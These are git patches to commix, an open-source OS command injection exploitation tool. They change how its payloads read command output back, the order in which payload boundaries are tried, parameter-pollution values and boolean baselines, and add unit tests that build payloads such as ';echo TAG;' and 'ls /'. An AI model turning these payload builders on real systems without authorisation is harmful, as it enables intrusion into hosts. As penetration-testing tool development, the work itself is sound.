settings.CMD_SUB_SUFFIX + "\"" + + settings.CMD_SUB_SUFFIX) + """ Execute shell commands on vulnerable host. """ @@ -119,13 +139,37 @@ def cmd_execution(separator, TAG, cmd): ) else: settings.USER_APPLIED_CMD = cmd - cmd_exec = settings.CMD_SUB_PREFIX + cmd + settings.CMD_SUB_SUFFIX - payload = (separator + - "echo " + TAG + - settings.CMD_SUB_PREFIX + "echo " + TAG + settings.CMD_SUB_SUFFIX + - cmd_exec + - settings.CMD_SUB_PREFIX + "echo " + TAG + settings.CMD_SUB_SUFFIX + TAG - ) + # Asked for only where the payload still reaches the target written the way it was built. A + # script rewriting it works over the quoting itself, and this reading puts a quoted + # substitution inside a quoted one - a level deeper than anything else here - which six of + # those scripts take apart and one turns into a command that waits. Where any is in effect, or + # the substitution in use cannot hold another, the output goes in the way it always did: split + # into words by the shell and rejoined with one space each, which collapses the whitespace + # inside it but does leave the one line the markers are looked for on - a collapsed answer + # rather than no answer. + exact = (settings.RESULTS_BASED_EXACT_OUTPUT and checks.substitution_nests() + and not any(settings.TAMPER_SCRIPTS.values())) + if exact: + # Written with 'printf' rather than 'echo', which on the shell '/bin/sh' usually is reads the + # backslashes of what it was handed and a leading '-n' or '-e' of it as options of its own: + # a path of "C:\path\to\file" came back carrying a tab and a formfeed. The markers go in the + # format, where they are still the shell's to read, and the output goes in as the argument of + # a '%s' - written out a byte at a time, and quoted, since it is one line by now with no + # newline left for the page to lose. + payload = (separator + + "printf " + TAG + + settings.CMD_SUB_PREFIX + "echo " + TAG + settings.CMD_SUB_SUFFIX + + "%s" + + settings.CMD_SUB_PREFIX + "echo " + TAG + settings.CMD_SUB_SUFFIX + TAG + + " \"" + single_line_output(cmd) + "\"" + ) + else: + payload = (separator + + "echo " + TAG + + settings.CMD_SUB_PREFIX + "echo " + TAG + settings.CMD_SUB_SUFFIX + + settings.CMD_SUB_PREFIX + cmd + settings.CMD_SUB_SUFFIX + + settings.CMD_SUB_PREFIX + "echo " + TAG + settings.CMD_SUB_SUFFIX + TAG + ) payload = checks.terminate_payload(payload, separator, keep_output=True) diff --git a/src/utils/settings.py b/src/utils/settings.py index 2b86fdc38c..37f2b1ddba 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -500,7 +500,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "318" +REVISION = "319" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -663,6 +663,11 @@ class HEURISTIC_TEST(object): BASIC_COMMAND_INJECTION_RESULT = "" IDENTIFIED_COMMAND_INJECTION = False +# Whether the results-based technique still asks the target to hand its output back a line at a +# time. Turned off for the rest of this target once a reading comes back empty, which is how a +# target without the tool that reading needs answers. +RESULTS_BASED_EXACT_OUTPUT = True + # Basic heuristic checks for code injection: the probe that says code was evaluated, what its # answer looks like coming back, and the interpreter's own complaints that give the same away. # All of it belongs to the language, so it is read from its module under 'src/core/eval'. diff --git a/tests/test_controller.py b/tests/test_controller.py index a6cb682215..9e738b19f2 100644 --- a/tests/test_controller.py +++ b/tests/test_controller.py @@ -118,3 +118,58 @@ def test_a_shell_answering_does_not_settle_a_sink_that_was_asked_for_by_name(sel if __name__ == "__main__": unittest.main() + +class AReadingThatNeedsAToolFallsBackWhenItIsNotThere(unittest.TestCase): + """ + The exact reading of a command's output asks 'awk' of the target. A target without it answers + nothing, where the reading that asks for none would have answered something - so an empty answer + is asked again the once, and the rest of that target is read the plainer way. + """ + def setUp(self): + from src.core.controller import execution + self.execution = execution + self._exact = settings.RESULTS_BASED_EXACT_OUTPUT + self._time = settings.TIME_RELATED_ATTACK + self._reload = settings.URL_RELOAD + settings.RESULTS_BASED_EXACT_OUTPUT = True + settings.TIME_RELATED_ATTACK = False + settings.URL_RELOAD = False + self.sent = [] + + def tearDown(self): + settings.RESULTS_BASED_EXACT_OUTPUT = self._exact + settings.TIME_RELATED_ATTACK = self._time + settings.URL_RELOAD = self._reload + + def injector(self, answers): + sent, said = self.sent, list(answers) + class Injector(object): + @staticmethod + def injection(*args, **kwargs): + sent.append(settings.RESULTS_BASED_EXACT_OUTPUT) + return "response" + @staticmethod + def injection_results(*args, **kwargs): + return said.pop(0) + return Injector + + def fire(self, answers): + run = self.execution.make_simple_execute_cmd( + self.injector(answers), ";", 10, "TAG", "", "", " ", 5, "GET", "http://t/", "p", None, "f", + 0, settings.INJECTION_TECHNIQUE.RESULTS_BASED, "") + return run("id") + + def test_an_empty_answer_is_asked_again_without_the_tool(self): + self.assertEqual("plain", self.fire(["", "plain"])) + self.assertEqual([True, False], self.sent) + self.assertFalse(settings.RESULTS_BASED_EXACT_OUTPUT) + + def test_an_answer_that_came_back_is_not_asked_twice(self): + self.assertEqual("exact output", self.fire(["exact output"])) + self.assertEqual([True], self.sent) + self.assertTrue(settings.RESULTS_BASED_EXACT_OUTPUT) + + def test_a_target_already_read_the_plain_way_asks_once(self): + settings.RESULTS_BASED_EXACT_OUTPUT = False + self.assertEqual("", self.fire([""])) + self.assertEqual([False], self.sent) diff --git a/tests/test_payloads.py b/tests/test_payloads.py index 7d32e2578f..c8c2fedfb3 100644 --- a/tests/test_payloads.py +++ b/tests/test_payloads.py @@ -114,6 +114,19 @@ def setUp(self): settings.TARGET_OS = settings.OS.UNIX settings.WHITESPACES = [settings.SINGLE_WHITESPACE] settings.TIME_RELATED_ATTACK = True + # A builder that reads its answer back differently where nothing is rewriting the payload has + # that branch swept too, rather than whichever one the state left behind happens to select. + self._reading = (settings.CMD_SUB_PREFIX, settings.CMD_SUB_SUFFIX, + settings.RESULTS_BASED_EXACT_OUTPUT, dict(settings.TAMPER_SCRIPTS)) + settings.CMD_SUB_PREFIX, settings.CMD_SUB_SUFFIX = settings.NESTING_SUBSTITUTION + settings.RESULTS_BASED_EXACT_OUTPUT = True + for name in settings.TAMPER_SCRIPTS: + settings.TAMPER_SCRIPTS[name] = False + + def tearDown(self): + (settings.CMD_SUB_PREFIX, settings.CMD_SUB_SUFFIX, + settings.RESULTS_BASED_EXACT_OUTPUT, scripts) = self._reading + settings.TAMPER_SCRIPTS.update(scripts) # Builders that answer with nothing on a POSIX target, because that is not what they are for. INERT = ("windows_condition_check", "oracle_supported", "_supported", "_var_chain") @@ -266,10 +279,12 @@ class AwkExpressions(unittest.TestCase): def _programs(self): from src.core.techniques.time_based import tb_payloads from src.core.techniques.tempfile_based import tfb_payloads + from src.core.techniques.results_based import rb_payloads return { "length": tb_payloads._length_arg_expr("WORD"), "ordinal": tb_payloads._ordinal_arg_expr("WORD", 3), "flatten": tfb_payloads.flattened_trimmed_text("FILE"), + "single line": rb_payloads.single_line_output("WORD"), } def test_none_of_them_pipes(self): @@ -1227,3 +1242,65 @@ def test_a_non_ascii_length_is_counted_whole(self): os.unlink(name) # eof + +class ResultsBasedReadsTheOutputAsItWasPrinted(unittest.TestCase): + """ + What the target printed is what the run reports. Handed straight to 'echo' the output is split + into words and joined back with one space each, so runs of whitespace collapse and the ends are + dropped - and 'echo' reads the backslashes of what is left. Quoting alone is no answer: the + newlines then survive too, and a sink handing back only the last line of what it ran answers + with nothing at all. + """ + def setUp(self): + from src.core.techniques.results_based import rb_payloads + self.rb_payloads = rb_payloads + self._state = (settings.TARGET_OS, settings.CMD_SUB_PREFIX, settings.CMD_SUB_SUFFIX, + settings.RESULTS_BASED_EXACT_OUTPUT, dict(settings.TAMPER_SCRIPTS)) + settings.TARGET_OS = settings.OS.UNIX + settings.CMD_SUB_PREFIX, settings.CMD_SUB_SUFFIX = "$(", ")" + settings.RESULTS_BASED_EXACT_OUTPUT = True + for name in settings.TAMPER_SCRIPTS: + settings.TAMPER_SCRIPTS[name] = False + + def tearDown(self): + (settings.TARGET_OS, settings.CMD_SUB_PREFIX, settings.CMD_SUB_SUFFIX, + settings.RESULTS_BASED_EXACT_OUTPUT, scripts) = self._state + settings.TAMPER_SCRIPTS.update(scripts) + + def payload(self): + return self.rb_payloads.cmd_execution(";", "TAG", "ls /") + + def test_the_output_is_written_a_byte_at_a_time(self): + # 'echo' reads the backslashes of what it is handed and the leading '-n'/'-e' of it as options + # of its own; a format with the output as its argument reads neither. + payload = self.payload() + self.assertIn("printf TAG", payload) + self.assertIn("%s", payload) + + def test_the_newlines_are_replaced_before_the_page_can_lose_them(self): + self.assertIn("gsub(/" + settings.END_LINE.ESCAPED_LF + "/,OFS,ARGV[1])", self.payload()) + + def test_the_output_goes_in_quoted_and_the_markers_do_not(self): + # A script that writes the payload out differently puts its own characters inside the markers + # too, and those are stripped only where the shell still reads them. + payload = self.payload() + self.assertIn('%s' + settings.CMD_SUB_PREFIX + 'echo TAG' + settings.CMD_SUB_SUFFIX + 'TAG', payload) + self.assertIn('"' + settings.CMD_SUB_PREFIX + 'LC_ALL=C awk', payload) + + def test_a_substitution_that_cannot_nest_reads_it_the_plain_way(self): + settings.CMD_SUB_PREFIX, settings.CMD_SUB_SUFFIX = "`", "`" + payload = self.payload() + self.assertIn("echo TAG", payload) + self.assertNotIn("awk", payload) + + def test_a_script_rewriting_the_payload_reads_it_the_plain_way(self): + # Six of them take the nesting apart and one turns it into a command that waits, so where any + # is in effect the output goes in as it always did - a collapsed answer, not no answer. + settings.TAMPER_SCRIPTS["space2ifs"] = True + payload = self.payload() + self.assertIn("echo TAG", payload) + self.assertNotIn("awk", payload) + + def test_a_target_without_the_tool_reads_it_the_plain_way(self): + settings.RESULTS_BASED_EXACT_OUTPUT = False + self.assertNotIn("awk", self.payload()) From 2e765cdee7b3b7bf1d218b2932405044c699b7b9 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Wed, 11 Nov 2026 17:06:20 +0200 Subject: [PATCH 0993/1023] Fixed an issue regarding the order the payload boundaries are tried in, affecting how many requests a detection spends before it reaches the one that works --- src/core/controller/handler.py | 10 ++++++++++ src/utils/settings.py | 2 +- 2 files changed, 11 insertions(+), 1 deletion(-) diff --git a/src/core/controller/handler.py b/src/core/controller/handler.py index 0f519b934d..49edb175a5 100755 --- a/src/core/controller/handler.py +++ b/src/core/controller/handler.py @@ -93,7 +93,17 @@ def _boundary_combinations(whitespaces, prefixes, suffixes, separators, keep_out has it. """ def _order_by_value_shape(prefixes, suffixes): + # Read off the parameter's own value, which is what the shape is a fact about. Where the sink + # turned out not to need that value it has been stood in for by three random letters, and three + # letters of the alphabet are alphabetic every time - so reading the stand-in put the quoted + # boundaries first on every target that optimisation fired on, leaving the bare one last behind + # four pairs and every separator of each. The value it stands for is kept, and is read instead; + # where it was not kept, nothing is known about the shape and the lists are left as written. value = (settings.TESTABLE_VALUE or "").strip() + if settings.VALUE_SKIPPED_EARLY: + value = (settings.VALUE_SKIPPED_EARLY[0] or "").strip() + elif settings.TESTABLE_VALUE_OPTIMIZED: + return prefixes, suffixes if checks.is_digit(value): quoted_last = True elif value.isalpha(): diff --git a/src/utils/settings.py b/src/utils/settings.py index 37f2b1ddba..4aea2a2c3d 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -500,7 +500,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "319" +REVISION = "320" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 0bc280a32aa9fe7026ee1f40bc4b47e69c897b1b Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Wed, 11 Nov 2026 17:07:36 +0200 Subject: [PATCH 0994/1023] =?UTF-8?q?Fixed=20several=20issues=20regarding?= =?UTF-8?q?=20the=20value=20standing=20in=20for=20a=20parameter=E2=80=99s?= =?UTF-8?q?=20own=20appearing=20where=20the=20real=20one=20belongs,=20affe?= =?UTF-8?q?cting=20`--hpp`=20and=20the=20payloads=20reported=20at=20the=20?= =?UTF-8?q?end?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- src/core/controller/checks.py | 38 +++++++++++--- src/core/controller/controller.py | 2 + src/core/controller/handler.py | 1 + src/utils/session_handler.py | 2 + src/utils/settings.py | 6 ++- tests/test_checks.py | 82 +++++++++++++++++++++++++++++++ 6 files changed, 123 insertions(+), 8 deletions(-) diff --git a/src/core/controller/checks.py b/src/core/controller/checks.py index 9721dfa90c..b64a671449 100755 --- a/src/core/controller/checks.py +++ b/src/core/controller/checks.py @@ -383,7 +383,12 @@ def polluted_parameter(target, payload): first_wins = any(_ in banner for _ in settings.HPP_FIRST_WINS) last_wins = any(_ in banner for _ in settings.HPP_LAST_WINS) name = named.group(1) - original = settings.TESTABLE_VALUE if settings.TESTABLE_VALUE.strip() else "" + # The parameter's own value, not the stand-in that replaces it where the sink turned out not to + # need it: this occurrence is the one meant to read as the value the application was sent, and a + # filter that checks the shape of what it is given rejects three random letters where it would + # have passed an address. The payload's own occurrence still carries whatever is in the carrier. + original = settings.VALUE_SKIPPED_EARLY[0] if settings.VALUE_SKIPPED_EARLY else settings.TESTABLE_VALUE + original = original if original and original.strip() else "" if not settings.HPP_POSITION_SAID: settings.HPP_POSITION_SAID = True info_msg = "Sending '" + name + "' twice, with the payload " @@ -2102,6 +2107,23 @@ def target_fingerprint_summary(): if shell_identified: settings.print_data_to_stdout(settings.print_retrieved_data("Command shell type", target_shell_label())) +""" +A payload written out with the parameter's own value at the front of it. + +Where the sink turned out not to need that value, it was stood in for by three random letters in +every request built after that, and the payloads kept here carry the stand-in. What this format is +modelled on writes the parameter's value into the line it prints, and a reader copying the line out +wants the value the target was given - which the sink ignores either way, since not needing it is +why it was dropped. Only the one at the front is rewritten; anything further in belongs to the +payload itself. +""" +def payload_with_own_value(payload): + payload = str(payload) + original, placeholder = settings.TESTABLE_VALUE_STOOD_IN_FOR, settings.TESTABLE_VALUE + if not original or not placeholder or not payload.startswith(placeholder): + return payload + return original + payload[len(placeholder):] + def _injection_points_summary(header_msg, rows, decode_payload=False): settings.print_data_to_stdout(header_msg) prev_parameter = None @@ -2115,20 +2137,22 @@ def _injection_points_summary(header_msg, rows, decode_payload=False): prev_parameter = current_parameter if decode_payload: payload = str(url_decode(payload)) + payload = payload_with_own_value(payload) for line in finding_summary_lines(technique, injection_type, payload): settings.print_data_to_stdout(line) """ - Said under the payloads it explains, rather than only at '-v1'. + Said under the payloads it explains, for a reader following how they were built. Where the parameter's own value turns out not to be needed, it is dropped from every request built after that point - so a payload found before it carries the real value and one found after carries the short random one that stands in, and the two sit side by side here with nothing to say why - they differ. Read without this, the value looks like one more thing the techniques disagree on. + they differ. It is about how the run went rather than about the target, so it is said where the + rest of that is said. """ - if settings.TESTABLE_VALUE_OPTIMIZED and settings.TESTABLE_VALUE: - info_msg = "The parameter's own value was not required to reach the sink, so '" - info_msg += settings.TESTABLE_VALUE + "' stands in for it in the payload(s) above." - settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + if settings.TESTABLE_VALUE_OPTIMIZED and settings.TESTABLE_VALUE and settings.VERBOSITY_LEVEL != 0: + debug_msg = "The parameter's own value was not required to reach the sink, so the requests " + debug_msg += "carried '" + settings.TESTABLE_VALUE + "' in its place." + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) target_fingerprint_summary() """ diff --git a/src/core/controller/controller.py b/src/core/controller/controller.py index 569106d214..a0bb9e3f2f 100644 --- a/src/core/controller/controller.py +++ b/src/core/controller/controller.py @@ -281,6 +281,7 @@ def probe_skip_testable_value_early(url, http_request_method, check_parameter, p settings.TESTABLE_VALUE = original_value return original_url settings.TESTABLE_VALUE_OPTIMIZED = True + settings.TESTABLE_VALUE_STOOD_IN_FOR = original_value settings.VALUE_SKIPPED_EARLY = (original_value, placeholder, original_url, original_data) # Not recorded in the session here: what the sink answered is not yet what a technique confirmed, # and a stand-in this run goes on to refuse would be left for the next one to replay. @@ -884,6 +885,7 @@ def attempt_skip_testable_value(url, http_request_method, check_parameter): menu.options.data = menu.options.data.replace(marker, stored_placeholder + settings.INJECT_TAG) else: url = url.replace(marker, stored_placeholder + settings.INJECT_TAG) + settings.TESTABLE_VALUE_STOOD_IN_FOR = settings.TESTABLE_VALUE settings.TESTABLE_VALUE = stored_placeholder settings.TESTABLE_VALUE_OPTIMIZED = True return url diff --git a/src/core/controller/handler.py b/src/core/controller/handler.py index 49edb175a5..9fed228f1c 100755 --- a/src/core/controller/handler.py +++ b/src/core/controller/handler.py @@ -479,6 +479,7 @@ def probe_skip_testable_value_post_detection(separator, timesec, http_request_me return original_url, prefix settings.TESTABLE_VALUE_OPTIMIZED = True + settings.TESTABLE_VALUE_STOOD_IN_FOR = original_value session_handler.import_testable_value_status(url, vuln_parameter, http_request_method, placeholder) if settings.VERBOSITY_LEVEL != 0: debug_msg = "The real parameter value is not required, so it is skipped for faster requests." diff --git a/src/utils/session_handler.py b/src/utils/session_handler.py index adb11d798d..6d5fae9a90 100755 --- a/src/utils/session_handler.py +++ b/src/utils/session_handler.py @@ -1013,6 +1013,8 @@ def reapply_testable_value(url, vuln_parameter, http_request_method, prefix=None # The body is the one given now, not the stored one, so it carries the value and is rewritten. carried = match.group(1) if carried != placeholder: + # Kept so that what is written out at the end reads as the value this run was given. + settings.TESTABLE_VALUE_STOOD_IN_FOR = carried menu.options.data = menu.options.data.replace(carried + settings.INJECT_TAG, placeholder + settings.INJECT_TAG) elif settings.INJECT_TAG in url: match = re.search(tag_pattern, url) diff --git a/src/utils/settings.py b/src/utils/settings.py index 4aea2a2c3d..a79044dd0e 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -500,7 +500,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "320" +REVISION = "321" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -909,6 +909,10 @@ class OS(object): # with the value back in place rather than written off on the strength of an optimisation. VALUE_SKIPPED_EARLY = None +# The parameter's own value, kept where a short random one stands in for it, so that what is +# written out at the end reads as the value the target was given rather than as the stand-in. +TESTABLE_VALUE_STOOD_IN_FOR = "" + # Set once the value has been put back and the pass made again, so the probe does not drop it a # second time and send the run round the same loop. VALUE_SKIP_REFUSED = False diff --git a/tests/test_checks.py b/tests/test_checks.py index 55d6b389c3..2d2125c40c 100644 --- a/tests/test_checks.py +++ b/tests/test_checks.py @@ -391,14 +391,17 @@ def setUp(self): self._flag = settings.TESTABLE_VALUE_OPTIMIZED self._value = settings.TESTABLE_VALUE self._points = settings.CONFIRMED_INJECTION_POINTS + self._verbosity = settings.VERBOSITY_LEVEL self._out = settings.print_data_to_stdout self.printed = [] settings.print_data_to_stdout = lambda line: self.printed.append(line) + settings.VERBOSITY_LEVEL = 1 def tearDown(self): settings.TESTABLE_VALUE_OPTIMIZED = self._flag settings.TESTABLE_VALUE = self._value settings.CONFIRMED_INJECTION_POINTS = self._points + settings.VERBOSITY_LEVEL = self._verbosity settings.print_data_to_stdout = self._out def summarise(self, optimized, value): @@ -426,6 +429,11 @@ def test_nothing_is_said_where_the_real_value_was_used(self): def test_nothing_is_said_where_there_is_no_value_to_name(self): self.assertNotIn("was not required", self.summarise(True, "")) + def test_it_is_kept_for_a_reader_following_the_run(self): + # About how the run went rather than about the target, so a default run does not carry it. + settings.VERBOSITY_LEVEL = 0 + self.assertNotIn("was not required", self.summarise(True, "JGX")) + class PagesComparedByTitleAlone(unittest.TestCase): """ What '--titles' compares, where everything around the title moves by itself. @@ -1027,3 +1035,77 @@ def test_what_was_named_is_recorded_by_name(self): menu.options.module = "Shellshock" checks.validate_modules() self.assertEqual(("shellshock",), settings.USER_APPLIED_MODULE) + +class PollutionCarriesTheParametersOwnValue(unittest.TestCase): + """ + The occurrence that is not the payload is the one meant to read as the value the application was + sent. Where the sink turned out not to need that value a short random stand-in replaces it in + every later request - and a filter checking the shape of what it is given passes an address and + refuses three letters, which is the evasion defeating itself. + """ + TARGET = "http://t/a.php?addr=" + PAYLOAD = ";echo TAG;" + + def setUp(self): + self._state = (settings.SERVER_BANNER, settings.HPP_POSITION_SAID, settings.TESTABLE_VALUE, + settings.VALUE_SKIPPED_EARLY, settings.IS_JSON, settings.IS_XML, + settings.IS_GRAPHQL, menu.options.hpp) + self._out = settings.print_data_to_stdout + settings.print_data_to_stdout = lambda *_: None + settings.SERVER_BANNER = "Apache/2.4.7 (Ubuntu) PHP/5.5.9" + settings.HPP_POSITION_SAID = True + settings.IS_JSON = settings.IS_XML = settings.IS_GRAPHQL = False + menu.options.hpp = True + + def tearDown(self): + (settings.SERVER_BANNER, settings.HPP_POSITION_SAID, settings.TESTABLE_VALUE, + settings.VALUE_SKIPPED_EARLY, settings.IS_JSON, settings.IS_XML, + settings.IS_GRAPHQL, menu.options.hpp) = self._state + settings.print_data_to_stdout = self._out + + def test_the_clean_occurrence_carries_the_value_that_was_stood_in_for(self): + settings.TESTABLE_VALUE = "QIF" + settings.VALUE_SKIPPED_EARLY = ("127.0.0.1", "QIF", "", "") + polluted = checks.polluted_parameter(self.TARGET + self.PAYLOAD, self.PAYLOAD) + self.assertEqual("http://t/a.php?addr=127.0.0.1&addr=" + self.PAYLOAD, polluted) + + def test_a_value_that_was_never_stood_in_for_is_carried_as_it_is(self): + settings.TESTABLE_VALUE = "127.0.0.1" + settings.VALUE_SKIPPED_EARLY = None + polluted = checks.polluted_parameter(self.TARGET + self.PAYLOAD, self.PAYLOAD) + self.assertEqual("http://t/a.php?addr=127.0.0.1&addr=" + self.PAYLOAD, polluted) + + def test_an_empty_value_still_pollutes_with_nothing(self): + settings.TESTABLE_VALUE = " " + settings.VALUE_SKIPPED_EARLY = None + polluted = checks.polluted_parameter(self.TARGET + self.PAYLOAD, self.PAYLOAD) + self.assertEqual("http://t/a.php?addr=&addr=" + self.PAYLOAD, polluted) + +class ThePayloadIsWrittenOutWithTheParametersOwnValue(unittest.TestCase): + """ + What is printed at the end carries the value the target was given, the way the format this one + follows writes it. The stand-in belongs to how the requests were built, which the run says in its + own line rather than inside a payload somebody is going to copy out. + """ + def setUp(self): + self._state = (settings.TESTABLE_VALUE, settings.TESTABLE_VALUE_STOOD_IN_FOR) + + def tearDown(self): + (settings.TESTABLE_VALUE, settings.TESTABLE_VALUE_STOOD_IN_FOR) = self._state + + def test_the_stand_in_at_the_front_is_the_value_it_stood_for(self): + settings.TESTABLE_VALUE, settings.TESTABLE_VALUE_STOOD_IN_FOR = "QQE", "127.0.0.1" + self.assertEqual("127.0.0.1;echo TAG;", checks.payload_with_own_value("QQE;echo TAG;")) + + def test_nothing_is_rewritten_where_no_value_was_stood_in_for(self): + settings.TESTABLE_VALUE, settings.TESTABLE_VALUE_STOOD_IN_FOR = "127.0.0.1", "" + self.assertEqual("127.0.0.1;echo TAG;", checks.payload_with_own_value("127.0.0.1;echo TAG;")) + + def test_only_the_one_at_the_front_is_rewritten(self): + # Anything further in belongs to the payload, whatever it happens to read like. + settings.TESTABLE_VALUE, settings.TESTABLE_VALUE_STOOD_IN_FOR = "QQE", "127.0.0.1" + self.assertEqual("127.0.0.1;echo QQE;", checks.payload_with_own_value("QQE;echo QQE;")) + + def test_a_payload_that_does_not_start_with_it_is_left_alone(self): + settings.TESTABLE_VALUE, settings.TESTABLE_VALUE_STOOD_IN_FOR = "QQE", "127.0.0.1" + self.assertEqual("'QQE;echo TAG;", checks.payload_with_own_value("'QQE;echo TAG;")) From 102cc6753b70c9a74810452ba6f4a4b8301b028d Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Wed, 11 Nov 2026 20:02:14 +0200 Subject: [PATCH 0995/1023] =?UTF-8?q?Fixed=20an=20issue=20regarding=20the?= =?UTF-8?q?=20page=20a=20boolean=20answer=20is=20compared=20against,=20aff?= =?UTF-8?q?ecting=20detection=20on=20a=20target=20that=20writes=20the=20pa?= =?UTF-8?q?rameter=E2=80=99s=20value=20back=20into=20its=20page?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- src/core/controller/checks.py | 19 +++++++ src/core/controller/handler.py | 4 +- src/core/requests/requests.py | 21 ++++++++ .../techniques/tempfile_based/tfb_handler.py | 2 +- src/utils/settings.py | 8 ++- tests/test_checks.py | 54 +++++++++++++++++++ 6 files changed, 104 insertions(+), 4 deletions(-) diff --git a/src/core/controller/checks.py b/src/core/controller/checks.py index b64a671449..39dd09e709 100755 --- a/src/core/controller/checks.py +++ b/src/core/controller/checks.py @@ -1473,6 +1473,25 @@ def restored_unreadable_bytes(text): return text return re.sub(settings.UNREADABLE_BYTE_REGEX, lambda _: chr(int(_.group(1), 16)), text) +""" +The page a boolean answer is read against. + +It has to be what the same request returns without a payload, which is the page kept at startup +only while the parameter still carries the value it arrived with. Where the sink turned out not to +need that value, a short random one stands in for it in every later request, and a target that +writes the value back answers the two differently whatever the payload did - so a true answer never +reads like the page it is compared against and every boundary is thrown away as one that broke the +sink. Asked once per value that stands in, the way the reference for this keeps one answer per +shape of request rather than one per test. +""" +def comparison_baseline(url, http_request_method): + if not settings.TESTABLE_VALUE_OPTIMIZED: + return settings.ORIGINAL_PAGE or "" + if settings.STAND_IN_PAGE_FOR != settings.TESTABLE_VALUE: + settings.STAND_IN_PAGE_FOR = settings.TESTABLE_VALUE + settings.STAND_IN_PAGE = requests.page_without_payload(url, http_request_method) or settings.ORIGINAL_PAGE or "" + return settings.STAND_IN_PAGE + def decode_page_body(body, response=None, percent_decode=True, entity_decode=True): """ A page already read from its response, as text: decompressed if it was compressed, and read in diff --git a/src/core/controller/handler.py b/src/core/controller/handler.py index 9fed228f1c..460ee69ddb 100755 --- a/src/core/controller/handler.py +++ b/src/core/controller/handler.py @@ -762,7 +762,7 @@ def _answers_both_ways(whitespace, prefix, suffix, separator, TAG): if not checks.boolean_oracle_given(): # A false answer that reads exactly like the page the parameter's own value returns means the # payload changed nothing at all, whatever the two probes look like beside each other. - if not settings.BOOLEAN_PRINTED_STATE and checks.comparable_page(page_false or "") == checks.comparable_page(settings.ORIGINAL_PAGE or ""): + if not settings.BOOLEAN_PRINTED_STATE and checks.comparable_page(page_false or "") == checks.comparable_page(checks.comparison_baseline(url, http_request_method)): return None """ And a true answer that does not read like that page is the payload breaking the sink, not @@ -770,7 +770,7 @@ def _answers_both_ways(whitespace, prefix, suffix, separator, TAG): and the false question draws another carrying different digits of this run's own - read as two answers, that one error confirms a boundary nothing ever ran through. """ - if not settings.BOOLEAN_PRINTED_STATE and checks.comparable_page(page_true or "") != checks.comparable_page(settings.ORIGINAL_PAGE or ""): + if not settings.BOOLEAN_PRINTED_STATE and checks.comparable_page(page_true or "") != checks.comparable_page(checks.comparison_baseline(url, http_request_method)): return None """ What the page moves on its own, measured again where the run can actually see it. diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index 603c08b6f5..bf695b9108 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -235,6 +235,27 @@ def _attach_injection_point_placeholder(request): elif settings.CUSTOM_HEADER_INJECTION and settings.CUSTOM_HEADER_VALUE: request.add_header(settings.CUSTOM_HEADER_NAME, checks.remove_tags(settings.CUSTOM_HEADER_VALUE)) +""" +The page this request answers with when the parameter carries no payload. + +Built the way every other request is and with the payload left out, so what comes back is the +answer to the value the parameter is carrying right now rather than to the one it arrived with. +Best-effort: a target that will not answer this leaves the caller with what it already had. +""" +def page_without_payload(url, http_request_method): + try: + if menu.options.data: + request = _urllib.request.Request(url, menu.options.data.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.TESTABLE_VALUE).encode(settings.DEFAULT_CODEC), method=http_request_method) + else: + request = _urllib.request.Request(url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.TESTABLE_VALUE), method=http_request_method) + headers.do_check(request) + _attach_injection_point_placeholder(request) + headers.apply_request_policy() + response = headers.send_raw(request) + return checks.decode_page_body(response.read(), response) + except Exception: + return None + """ A single, best-effort clean response-time sample; returns None on failure instead of raising. """ diff --git a/src/core/techniques/tempfile_based/tfb_handler.py b/src/core/techniques/tempfile_based/tfb_handler.py index bf2b3c7eb2..1972be57e2 100755 --- a/src/core/techniques/tempfile_based/tfb_handler.py +++ b/src/core/techniques/tempfile_based/tfb_handler.py @@ -97,7 +97,7 @@ def _calibrate_file_oracle(separator, prefix, suffix, whitespace, http_request_m # at all - but only where nothing is ever printed either way (the bare test). The shape that # prints a marker on a true answer is built so the false answer looks like that same baseline # on purpose, so this would throw away the one signal it is there for. - if not settings.BOOLEAN_PRINTED_STATE and checks.comparable_page(page_false or "") == checks.comparable_page(settings.ORIGINAL_PAGE or ""): + if not settings.BOOLEAN_PRINTED_STATE and checks.comparable_page(page_false or "") == checks.comparable_page(checks.comparison_baseline(url, http_request_method)): continue if not checks.calibrate_boolean_oracle(page_true, page_false, code_true, code_false): continue diff --git a/src/utils/settings.py b/src/utils/settings.py index a79044dd0e..d611f5972a 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -500,7 +500,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "321" +REVISION = "322" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -2538,6 +2538,12 @@ class END_LINE: # The target's page as it is worth comparing: its text, with the regions that move by themselves out. ORIGINAL_PAGE_COMPARABLE = "" +# The page the parameter answers with while a short random value stands in for its own, and the +# value that was taken for - the page kept at startup is the target as it was given, which is a +# different request once the stand-in is in place. +STAND_IN_PAGE = "" +STAND_IN_PAGE_FOR = None + # Where the page was found to move on its own, as what sits 